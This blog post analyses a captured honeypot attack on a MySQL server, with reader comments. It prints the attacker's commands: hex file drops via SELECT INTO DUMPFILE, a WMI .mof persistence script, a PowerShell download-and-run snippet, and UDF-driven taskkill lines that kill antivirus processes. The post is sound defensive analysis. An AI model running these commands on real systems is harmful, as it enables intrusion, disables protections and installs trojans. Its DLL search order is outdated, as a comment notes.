MySQL is YourSQL

Published: 2016-06-03
Last Updated: 2016-06-03 12:17:48 UTC
by Tom Liston (Version: 1)
8 comment(s)

It's The End of the World and We Know It

If you listen to the press - those purveyors of doom, those “nattering nabobs of negativism” - you arrive at a single, undeniable conclusion: The world is going to hell in a hand-basket.

They tell us that we’ve become intolerant, selfish, and completely unconcerned with the welfare of our fellow man.

I’m here today to deliver a counterpoint to all of that negativity. I’ve come here to tell you that people are, essentially, GOOD.

You see: I am a database bubblehead.

Over the past few weeks, since I’ve deployed an obviously flawed, horribly insecure, and utterly fictitious “MySQL server,” I have received a veritable flood of free “assistance” in administering that system - provided by strangers from across the Interwebz.  They have - out of the very goodness of their hearts - taken over DBA duties. I’ve only had to sit back and watch...


Very, very carefully...

A Free DBA - And Worth EVERY Penny

There are so many folks interested in the toil and drudgery of DBA duties on my honeypot’s MySQL server, it seems like they’re taking shifts. One will arrive, do a touch of DBA work and then leave… eventually being replaced by another.  The amount of database-related kindness in this world is, in some ways, almost overwhelming.

Let’s take a look at what a typical “shift” for one of my “remote DBAs” looks like:

Arriving at the Office

My newest co-worker - our DBA du jour (who I’ve chosen to call “NoCostRemoteDBADude”) - makes his first appearance at the “office” and immediately logs into the MySQL server as ‘mysql’ with a blank password.

Note to self: Wow. That’s not very secure. I should probably fix that...

We all know how it is when you’re the FNG… you try your best to buckle down and get right to work… you know: impress the boss. NoCostRemoteDBADude does just that:

show variables like "%plugin%";
show variables like 'basedir';
show variables like "%plugin%";
SELECT @@version_compile_os;
show variables like '%version_compile_machine%';
use mysql;

Here, NoCostRemoteDBADude is obviously just trying to get the “lay of the land,” so to speak, and I can’t really say I blame him. After that whole, incredibly disappointing blank password thing, he’s got to be wondering what kind of idiot has been running this box…

I admit it: It was me, and I am a database bubblehead.

Have Toolz, Will Travel...

You can’t expect quality DBA work if you’re not willing to fork over cash for proper tools.

Unfortunately, my tool budget matches my expectation of quality: zero. If, therefore, you’re planning to remote-DBA my honeypot, it’s strictly B.Y.O. as far as tools go. While some folks may balk at the idea of doing DBA work for free AND providing your own tools, oddly, I’ve found no shortage of volunteers.

NoCostRemoteDBADude doesn’t disappoint. He obviously has a preferred suite of tools that he wastes no time installing:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
0000000000000000000000000000000000000 into DUMPFILE 

Obviously, NoCostRemoteDBADude is a fellow who knows his way around a MySQL database. Here, he’s using a SQL “SELECT” statement to dump a whole bunch of binary data (expressed as a single, long hexadecimal number) into a file, creating a Windows executable.

Although I am, admittedly, a database bubblehead, I know a thing or two about Perl, so I threw together a few lines of code designed to take the text representation of NoCostDBADude’s command and spit out a binary file.  Here’s what I found:

The file “ukGMx.exe” is a 36,864 byte long 32-bit Windows PE executable that, if run, immediately downloads hxxp:// to the file “C:\Windows\shes.exe” and then launches that new executable. It also attempts some sort of weird “self-deleting” thing that, while it works, seems like overkill. Also, in looking over the executable, the old Win32 programmer in me is more than a little disappointed to see them using MFC42.dll. MFC was evil and bloaty from the outset, and it deserved to DIAF long ago. Seeing it included in exploit code is somewhat sad.  I find myself longing for the good ol’ days of being blown away by the coding prowess of the attackers… er… um… “remote-DBAs.”

Remember that I said “if run” in the above description. Right now, NoCostRemoteDBADude has only managed to create the file… he hasn’t managed to run anything. Yet.

Go Ahead And Just “Run” Your Code - I’m Gonna “Prancercize” Mine

Let’s see what else he has up his sleeve:

SELECT 0x23707261676D61206E616D65737061636528225C5
B0A into DUMPFILE 'C:/windows/system32/wbem/mof/buiXDj.mof';

A little Perl magic, and we find that this is actually a rather interesting text file:

#pragma namespace("\\\\.\\root\\cimv2")
class MyClass649
        [key] string Name;
class ActiveScriptEventConsumer : __EventConsumer
        [key] string Name;
        [not_null] string ScriptingEngine;
        string ScriptFileName;
        [template] string ScriptText;
  uint32 KillTimeout;
instance of __Win32Provider as $P
    Name  = "ActiveScriptEventConsumer";
    CLSID = "{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
    PerUserInitialization = TRUE;
instance of __EventConsumerProviderRegistration
  Provider = $P;
  ConsumerClassNames = {"ActiveScriptEventConsumer"};
Instance of ActiveScriptEventConsumer as $cons
  Name = "ASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"ukGMx.exe\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass649\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};";

Instance of ActiveScriptEventConsumer as $cons2
  Name = "qndASEC";
  ScriptingEngine = "JScript";
  ScriptText = "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\Mxmto.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"ukGMx.exe\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
instance of __EventFilter as $Filt
  Name = "instfilt";
  Query = "SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass649\"";
  QueryLanguage = "WQL";
instance of __EventFilter as $Filt2
  Name = "qndfilt";
  Query = "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"ukGMx.exe\"";
  QueryLanguage = "WQL";

instance of __FilterToConsumerBinding as $bind
  Consumer = $cons;
  Filter = $Filt;
instance of __FilterToConsumerBinding as $bind2
  Consumer = $cons2;
  Filter = $Filt2;
instance of MyClass649 as $MyClass
  Name = "ClassConsumer";

For those unfamiliar with them, “.mof” files are a very interesting attack/persistence mechanism, and, under the right circumstances, dropping a file with the extension “.mof” into the “C:\windows\system32\wbem\mof” directory can make magical things happen. “Managed Object Format” (.mof) files can be used to change WMI settings or transfer WMI objects between computers.

Unfortunately, for an attacker, the text form of a “.mof” file is pretty much benign. In order for them to actually DO anything, they need to be compiled into binary form (which is normally done using the program mofcomp.exe). The cool thing about the “C:\windows\system32\wbem\mof” directory is that dropping a file into that directory on pre-Vista versions of Windows would result in them being automatically compiled… If they successfully compile, they’re installed in “C:\windows\system32\wbem\mof\good” (and, in the event the compile fails, “C:\windows\system32\wbem\mof\bad” with a logfile of all actions taken by the compiler stored at “C:\windows\system32\wbem\Logs\mofcomp.log”)  Files installed in this way run repeatedly - and in this case, the “.mof” file installs an event filter class (“MyClass649”) that triggers on:

  1. The instantiation of the class “MyClass649” (yes… it triggers upon its own creation)
  2. If a running version of “ukGMx.exe” ever exits

When the filter is triggered, it simply runs the program “ukGMx.exe” using Wscript.Shell. (FYI: Stuxnet used a very similar attack...)

Spray N’ Pray

Now all that is well and good if the MySQL server running on an older version of Windows (and if MySQL is running as a privileged user…), but what happens if that isn’t the case?  Well, NoCostRemoteDBADude has a lot more bases covered:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
0000000000000000000 into DUMPFILE 'C:/Program Files/lpk.dll';

Again, we use some Perl magic to recover the binary of this file for examination:

The file lpk.dll is a 7,680 byte long 32-bit Windows DLL file that has been UPX compressed (uncompressed, it is 12,288 bytes long).

Not only does my NoCostRemoteDBADude drop lpk.dll in “C:/Program Files” but he drops the exact same file as:

  • 'C:/windows/lpk.dll'
  • 'lpk.dll'
  • 'C:/windows/system32/lpk.dll'
  • 'C:/lpk.dll'
  • 'D:/lpk.dll'
  • '%temp%/lpk.dll'
  • '%systemroot%/lpk.dll'
  • '../../bin/lpk.dll'
  • '../../lpk.dll'
  • '../lpk.dll'

NoCostRemoteDBADude’s apparent fetish for littering my hard drive with DLLs actually has a reasonable explanation: he’s attempting to exploit a DLL hijacking vulnerability.

The idea behind DLL hijacking is actually pretty simple. Windows has a search path for DLLs that works much in the same way that the $PATH environment variable works for finding executables. The default search path for DLLs works like this:

  1. The directory from which the application is run
  2. The current directory
  3. The system directory
  4. The 16-bit system directory
  5. The Windows directory
  6. The $PATH directories

Windows will look in each of those locations, in that order, until it finds the DLL it’s looking for. If, as an attacker, you can get a rogue/malicious DLL installed “in front” of the “real” DLL in that DLL search path, your DLL will be loaded instead of the real one, and run with the credentials of the application that is loading it.

By not specifying the full path to a system DLL, a program becomes vulnerable to this type of attack.  I whipped together a tiny Win32 executable that used LoadLibrary() to… well… load the library (lpk.dll). It’s also a perfect example for demonstrating DLL hijacking, because I “stupidly” used the command LoadLibrary(“lpk.dll”) rather than specifying a full system path.  On a clean install of Windows, it wouldn’t be a problem, but when I put NoCostRemoteDBADude’s version of lpk.dll in the same directory as my program, it loaded the malicious version instead.  Other programs vulnerable to “lpk.dll” hijacking? Several executables found in version 5.1 of MySQL.

I also used my “vulnerable” executable to investigate the behavior of the malicious DLL. When loaded, it provides all of the original functionality of the real lpk.dll with an interesting addition: it drops a 3,584 byte long 32-bit WIndows PE executable as “%Temp%\hrl1.tmp” (On Windows NT/2000/XP, %Temp% defaults to C:\Documents and Settings\[UserName]\Local Settings\Temp) and launches it.

This new “gift” from NoCostRemoteDBADude is actually a UPX compressed executable that, when uncompressed, weighs in at 24,576 bytes. The executable behaves very much like our friend ukGMx.exe from earlier (complete with the goofy “self-delete” functionality) but in addition to downloading hxxp:// to C:\Windows\scvhost.exe and running it, it also downloads hxxp:// to C:\Windows\fillworm.exe - before launching both programs and self-deleting.

A “User-Defined” Attack Vector

NoCostRemoteDBADude’s next move as a DBA was firing off the following, now-familiar-looking, command:

SELECT 0x4D5A90000300000004000000FFFF0000B80000000
00000000000000000000000000000000000000000000000 into 

This results in the creation of 1QyCNY.dll, a 6,144 byte-long UPX compressed Windows DLL. Interestingly, this file isn’t seen as malicious by - essentially - any antimalware tool that doesn’t get all wigged-out because a file is UPX compressed (seriously, AegisLabs, that’s the best you’ve got? It’s UPX compressed, therefore it must be EEEEEVIL!) The reason that is isn’t seen as malicious by non-reactionary antimalware tools is because… well… it ISN’T malicious. To understand why, we need to understand a little about MySQL UDFs (or, “User Defined Functions”).

In order to provide a mechanism for “extensibility,” MySQL allows for the addition of new functionality by loading User Defined Functions in shared libraries (.so files under Linux, and .dll files in Windows). If, for example, you had a pressing need to add new functionality to your SQL-based application… say, to turn the sound volume to “11” and announce via speech synthesis, “Hey everybody! I’m lookin’ at porn...” all whilst making the server’s CD tray slide in and out - not that I’ve ever DONE anything like that, mind you... You would simply create your function, compile it into a DLL (confession.dll) as an exported function (int porn_confession( )) along with a few other, necessary support functions, and then you can add the new function to MySQL like so:

CREATE FUNCTION porn_confession RETURNS INTEGER SONAME 'confession.dll';

NoCostRemoteDBADude’s 1QyCNY.dll file isn’t seen as malicious because it is, essentially, a perfectly legitimate MySQL UDF library (or, if you’re AegisLabs, it’s an unholy, UPX-packed spawn of Satan).  It’s simply a tool - a blunt instrument - that can be used for either good -  or as we’ll soon see - for evil.

What This Hack Needs Is More PowerShell

NoCostRemoteDBADude follows this with the creation of another file:

SELECT 0x24736F757263653D22687474703A2F2F7777772E6
3742E6578652229 into DUMPFILE 'c:/windows/temp.ps1';

This file turns out to look like this:

$www=New-Object System.Net.WebClient
$www.DownloadFile($source, $destination)

Yep, it’s some PowerShell code designed to download our old pal hxxp://, and - this time - save it as C:\Windows\host.exe before executing it.

Hacking All the Things

But how does all of this come together? NoCostRemoteDBADude has a solution. In an effort to bring all of his work full circle, he snaps off the following commands:

select sys_eval('taskkill /f /im 360safe.exe&taskkill /f /im 360sd.exe&taskkill /f /im 360rp.exe&taskkill /f /im 360rps.exe&taskkill /f /im 360tray.exe&taskkill /f /im ZhuDongFangYu.exe&exit');
select sys_eval('taskkill /f /im SafeDogGuardCenter.exe&taskkill /f /im SafeDogSiteIIS.exe&taskkill /f /im SafeDogUpdateCenter.exe&taskkill /f /im SafeDogServerUI.exe&taskkill /f /im kxescore.exe&taskkill /f /im kxetray.exe&exit');
select sys_eval('taskkill /f /im QQPCTray.exe&taskkill /f /im QQPCRTP.exe&taskkill /f /im QQPCMgr.exe&taskkill /f /im kavsvc.exe&taskkill /f /im alg.exe&taskkill /f /im AVP.exe&exit');
select sys_eval('taskkill /f /im egui.exe&taskkill /f /im ekrn.exe&taskkill /f /im ccenter.exe&taskkill /f /im rfwsrv.exe&taskkill /f /im Ravmond.exe&taskkill /f /im rsnetsvr.exe&taskkill /f /im egui.exe&taskkill /f /im MsMpEng.exe&taskkill /f /im msseces.exe&exit');
select sys_exec('PowerShell.exe -ExecutionPolicy Unrestricted -NoProfile -windowstyle hidden -File c:\\windows\\temp.ps1');

Here we see NoCostRemoteDBADude create two new MySQL UDFs using 1QyCNY.dll: sys_exec( ) and sys_eval( ). He then uses these new functions to whack various antimalware tasks, and then launches PowerShell to run the script he just created.

“...And Then Everyone In The Universe Died.” - Game Of Thrones, Book XXI

So, the end-game for NoCostRemoteDBADude is to get host.exe downloaded from and running on our system (he also wanted to download something from, but that site is currently kaput...).  Let’s take a look at that file, shall we?

The file “host.exe” is, essentially, a 102,400 byte-long 32-bit Windows PE remote control trojan with the capability to both download and install or run pretty much anything that NoCostRemoteDBADude wants put on the box.  Obviously, this is how he intends to do his DBA work.

In addition to its run-of-the-mill “remote administration” capabilities, host.exe also has another nifty capability. Buried deep in the bowels of the program’s data is an interesting list of 180 IP addresses.  I cut the list out of the file and did a little “reconnaissance.” What I found was very interesting: Every one of the IPs is a DNS server - moreover, every one acts as a recursive resolver.  I can think of only one reason that NoCostRemoteDBADude would have uploaded an executable primed with an expansive list of recursive resolvers: DNS Amplification DDoS.

The classic example of an “amplification” attack harkens back to the ‘90s when you used to be able to send an ICMP echo request from a spoofed IP to the broadcast address of a netblock. Back in that more-naïve time, the router would see an inbound packet destined for the broadcast address and dutifully forward it to every IP address in the block, resulting in a wave of ICMP echo responses being sent back to the spoofed IP address. For reasons I’ve been unable to figure out, this was known as a SMURF attack, and demonstrates the two requirements of a good amplification attack:

  1. The traffic that initiates the response is sent over a connection-less protocol (in this case, ICMP) and is, therefore, easily spoofed.
  2. The response elicited is significantly larger than the traffic that initiates it.

SMURF attacks have - happily - been relegated to the same dustbin o’ history as other ‘90s “stuff” we’d like to forget (Vanilla Ice, slap bracelets, and - oh, dear Lord - parachute pants) but that doesn’t mean amplification attacks are gone.

DNS fits both of our amplification criteria very well: requests are sent over a connection-less protocol (UDP) and you can get a pretty good amplification if you make the right request.  All you need is a bunch of friendly DNS servers that will allow anyone and everyone to make requests...

Alrighty Then...

NoCostRemoteDBADude had a few more tricks up his sleeve.  He tried several different types and versions of UDFs, and attempted to create new MySQL accounts, but this overview covers his most interesting techniques. I found this to be a fascinating attack simply because of the broad range of “tricks of the trade” in use: DLL hijacking, .mof files, MySQL UDFs, PowerShell, AV disabling, and DNS amplification… it’s a pretty broad swath of attacker techniques. 

Also, this is a perfect example of why AV vendors and others who tout “malware removal” methods are not doing anyone a favor. Once any of these executable are running on my server, the whole concept of “cleanup” becomes untenable because I can’t have any idea about what other “toyz” ol’ NoCost may have installed.

Well, at least until my server starts yelling “Hey everybody, I’m watchin’ porn!”...

Tom Liston
Consultant - Cyber Network Defense
DarkMatter, LLC
Follow Me On Twitter: @tliston
If you enjoyed this post, you can see more like it on my personal blog:

8 comment(s)


Thanks for the entertaining post, Tom!

JFTR: CWD was moved in the DLL search order from "after application directory" to "before PATH" about 12 years ago when SafeDLLSearchMode was introduced and set to 1.
Great read. I do have to admit that the number of code drops, default password, win98 backdoor, and other ancient 5 1/4 floppy hacks I see is pretty staggering. Also shouldn't there be some DNS server standard interconnect that puts notice to all the servers of the IP address of a possible DDOS victim and act as a policer? You would think this policer would be standard on all ISPs routing systems. More staggering? That A flood attack is also another ancient 5 1/4 floppy hack
Interesting and fun loving work you did in Hacking stuff, but its never the end of world. keep you good work up!
Hi, did they even bother to look for PII / SPI / PCI data?
Pretty much all of their efforts went toward 0wning the box. They didn't really even bother with the data.
You're correct about my listed DLL search order being "old." I pulled that list from of an older document. Doh!
[quote=comment#37207]You're correct about my listed DLL search order being "old." I pulled that list from of an older document. Doh![/quote]

Never mind.
Since the majority of companies/vendors/developers (most of them braindead) still use and distribute executable installers (braindead too: SetupAPI is available since 20+ years, digesting .INF and .CAB, and Microsoft Installer is available since 15+ years) which typically load some DLLs from their application directory and the majority of their ordinary users^Wunsuspecting victims runs this crap from their "Downloads" folder (they don't know better...) the changed DLL search order doesn't really matter.

There is but hope, albeit VERY LITTLE: for DLLs loaded during runtime, i.e. via LoadLibrary*(), the application directory can be removed with a call to SetDefaultDllDirectories() or providing the right flags in the calls of LoadLibraryEx(), while CWD can be removed with a call to SetDllDirectory()
And the DLLs loaded during load-time are under control of the developer.
If they would only start to learn...
Hi, Tom.
Great read! This may sound crazy, but I found it inspirational.
I am an experienced Oracle DBA who is interested in security (more details at Your article made me wonder if similar exploits are done via Oracle databases. I'm sure the answer is "yes". However, I don't know the details, so I'd like to get involved in a honeypot/honeynet that has Oracle databases as potentials targets. I'd like to either:
1) Create a honeypot/honeynet with Oracle databases, etc as part of the targets, or
2) join someone else's efforts, if they are doing the same/similar things.
Do you have any suggestions?
Thank you so much for your article!
Jeff Kayser
Database Doctor, Inc.
jeff.kayser at

Diary Archives